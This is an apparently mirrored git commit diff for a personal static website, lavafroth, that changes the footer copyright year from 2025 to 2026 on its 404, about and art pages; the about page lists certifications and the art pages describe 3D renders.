mirror of
https://github.com/lavafroth/lavafroth.github.io.git
synced 2026-06-01 13:01:22 -03:00
deploy: 9614c4fc98
This commit is contained in:
2
404.html
2
404.html
@@ -1 +1 @@
|
||||
<!doctype html><html lang=en-us><head><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>404 Page not found - lavafroth</title><meta name=description content='smol creator'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=./header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=./about/ aria-label=about style=--url:url(./about.svg)></a><a href=./art/ aria-label=art style=--url:url(./art.svg)></a><a href=./index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><h1 class=title-404>404</h1></main><footer class=footer><p>© 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
<!doctype html><html lang=en-us><head><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>404 Page not found - lavafroth</title><meta name=description content='smol creator'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=./header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=./about/ aria-label=about style=--url:url(./about.svg)></a><a href=./art/ aria-label=art style=--url:url(./art.svg)></a><a href=./index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><h1 class=title-404>404</h1></main><footer class=footer><p>© 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
@@ -16,4 +16,4 @@ consider contributing to them or donating.</p><p>Thank you to all the institutio
|
||||
organizations such as <a href=https://khanacademy.org>Khan Academy</a>,
|
||||
who provide <a href=https://en.wikipedia.org/wiki/OpenCourseWare>OpenCourseWare</a> and make education accessible.</p><h2 id=certifications>Certifications</h2><p>Petty things recruiters seem to care about.</p><p><a href=https://summerofcode.withgoogle.com/programs/2024/projects/qkFDwSOk><img src=../completion_certificate_2024_contributor.png alt="Google Summer of Code 2024"></a></p><p><a href=https://tryhackme-certificates.s3-eu-west-1.amazonaws.com/THM-6X9OWVY0HI.png><img src=https://tryhackme-certificates.s3-eu-west-1.amazonaws.com/THM-6X9OWVY0HI.png alt="TryHackMe Advent Of Cyber 2020 Certificate"></a></p><p><a href=https://tryhackme-certificates.s3-eu-west-1.amazonaws.com/THM-HOXLPGFBZN.png><img src=https://tryhackme-certificates.s3-eu-west-1.amazonaws.com/THM-HOXLPGFBZN.png alt="TryHackMe Advent Of Cyber 2021 Certificate"></a></p><p><a href="https://certificates.cs50.io/c7c6fbaa-40da-4c14-846d-d4fd01c1bd6f.png?size=letter"><img src="https://certificates.cs50.io/c7c6fbaa-40da-4c14-846d-d4fd01c1bd6f.png?size=letter" alt="Harvard CS50 2022 Certificate"></a></p><p><a href="https://certificates.cs50.io/fba1bdc0-0604-4623-8224-17b2bd9ee5db.png?size=letter"><img src="https://certificates.cs50.io/fba1bdc0-0604-4623-8224-17b2bd9ee5db.png?size=letter" alt="Harvard CS50 AI 2022 Certificate"></a></p><p><a href=https://www.kaggle.com/learn/certification/himadribhattacharjee/intro-to-deep-learning><img src=../intro-to-deep-learning.png alt="Intro to Deep Learning Kaggle Certificate"></a></p><p><a href=https://www.kaggle.com/learn/certification/himadribhattacharjee/intro-to-machine-learning><img src=../intro-to-machine-learning.png alt="Intro to Machine Learning Kaggle Certificate"></a></p><p><a href=https://www.kaggle.com/learn/certification/himadribhattacharjee/intermediate-machine-learning><img src=../intermediate-machine-learning.png alt="Intermediate Machine Learning Kaggle Certificate"></a></p><p><a href=https://www.kaggle.com/learn/certification/himadribhattacharjee/intro-to-game-ai-and-reinforcement-learning><img src=../intro-to-game-ai-and-reinforcement-learning.png alt="Intro to Game AI and Reinforcement Learning"></a></p><h2 id=send-me-a-private-message>Send me a private message</h2><p>You can send me a private message by encrypting it with my
|
||||
<a href=https://api.github.com/users/lavafroth/keys>public SSH keys</a>
|
||||
and mailing it to <a href=mailto:107522312+lavafroth@users.noreply.github.com>107522312+lavafroth@users.noreply.github.com</a>.</p></section><footer class=post-tags data-pagefind-meta=tags></footer></main><footer class=footer><p>© 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
and mailing it to <a href=mailto:107522312+lavafroth@users.noreply.github.com>107522312+lavafroth@users.noreply.github.com</a>.</p></section><footer class=post-tags data-pagefind-meta=tags></footer></main><footer class=footer><p>© 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
@@ -6,4 +6,4 @@ jumpscare.'><meta name=author content><link rel="preload stylesheet" as=style hr
|
||||
quality of the sculpt. I’m still pretty much in the learning stage. Big thank
|
||||
you to <a href=https://www.pexels.com/@nichole-sebastian-1592975/>Nichole Sebastian</a>
|
||||
for the reference photo. Also apologies if the empty eye sockets gave you a
|
||||
jumpscare.</p><img src=../../nichole-sebastian-render-0.avif style=border-radius:1rem></section></main><footer class=footer><p>© 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
jumpscare.</p><img src=../../nichole-sebastian-render-0.avif style=border-radius:1rem></section></main><footer class=footer><p>© 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
@@ -1 +1 @@
|
||||
<!doctype html><html lang=en-us><head><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>Drowning - lavafroth</title><meta name=description content='A cyborg head sinking in a pool of water. What more did you expect? Here’s a timelapse.'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../about/ aria-label=about style=--url:url(./about.svg)></a><a class=active href=../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><hgroup><p>Jun 18, 2024</p><h1>Drowning</h1></hgroup><section class=post-content><p>A cyborg head sinking in a pool of water. What more did you expect? <a href="https://www.youtube.com/watch?v=lVbPXxq0xzg">Here’s a timelapse</a>.</p><img src=../../drowning.avif style=border-radius:1rem></section></main><footer class=footer><p>© 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
<!doctype html><html lang=en-us><head><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>Drowning - lavafroth</title><meta name=description content='A cyborg head sinking in a pool of water. What more did you expect? Here’s a timelapse.'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../about/ aria-label=about style=--url:url(./about.svg)></a><a class=active href=../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><hgroup><p>Jun 18, 2024</p><h1>Drowning</h1></hgroup><section class=post-content><p>A cyborg head sinking in a pool of water. What more did you expect? <a href="https://www.youtube.com/watch?v=lVbPXxq0xzg">Here’s a timelapse</a>.</p><img src=../../drowning.avif style=border-radius:1rem></section></main><footer class=footer><p>© 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
@@ -9,4 +9,4 @@ or remixing them.</p></section><article><h2>✨</h2><br><img src=../sparkles.png
|
||||
<a href=https://lavafroth.is-a.dev/art/thiserror/ aria-label="This Error" class=post-link></a></article><article><h2>Throwing knives</h2><br><img src=../throwing-knives.avif style=border-radius:1rem>
|
||||
<a href=https://lavafroth.is-a.dev/art/wip-animation/ aria-label="Throwing knives" class=post-link></a></article><article><h2>Truce</h2><br><img src=../truce.avif style=border-radius:1rem>
|
||||
<a href=https://lavafroth.is-a.dev/art/tyler-joseph-portrait/ aria-label=Truce class=post-link></a></article><article><h2>She's a Rebel</h2><br><img src=../shes-a-rebel.png style=border-radius:1rem>
|
||||
<a href=https://lavafroth.is-a.dev/art/shes-a-rebel/ aria-label="She's a Rebel" class=post-link></a></article></main><footer class=footer><p>© 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
<a href=https://lavafroth.is-a.dev/art/shes-a-rebel/ aria-label="She's a Rebel" class=post-link></a></article></main><footer class=footer><p>© 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
@@ -1 +1 @@
|
||||
<!doctype html><html lang=en-us><head><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>She's a Rebel - lavafroth</title><meta name=description content='Clearly the title was an afterthought.'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../about/ aria-label=about style=--url:url(./about.svg)></a><a class=active href=../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><hgroup><p>Apr 17, 2022</p><h1>She's a Rebel</h1></hgroup><section class=post-content><p>Clearly the title was an afterthought.</p><img src=../../shes-a-rebel.png style=border-radius:1rem></section></main><footer class=footer><p>© 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
<!doctype html><html lang=en-us><head><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>She's a Rebel - lavafroth</title><meta name=description content='Clearly the title was an afterthought.'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../about/ aria-label=about style=--url:url(./about.svg)></a><a class=active href=../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><hgroup><p>Apr 17, 2022</p><h1>She's a Rebel</h1></hgroup><section class=post-content><p>Clearly the title was an afterthought.</p><img src=../../shes-a-rebel.png style=border-radius:1rem></section></main><footer class=footer><p>© 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
@@ -1 +1 @@
|
||||
<!doctype html><html lang=en-us><head><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>✨ - lavafroth</title><meta name=description content><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../about/ aria-label=about style=--url:url(./about.svg)></a><a class=active href=../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><hgroup><p>Jul 15, 2025</p><h1>✨</h1></hgroup><section class=post-content><img src=../../sparkles.png style=border-radius:1rem></section></main><footer class=footer><p>© 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
<!doctype html><html lang=en-us><head><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>✨ - lavafroth</title><meta name=description content><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../about/ aria-label=about style=--url:url(./about.svg)></a><a class=active href=../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><hgroup><p>Jul 15, 2025</p><h1>✨</h1></hgroup><section class=post-content><img src=../../sparkles.png style=border-radius:1rem></section></main><footer class=footer><p>© 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a 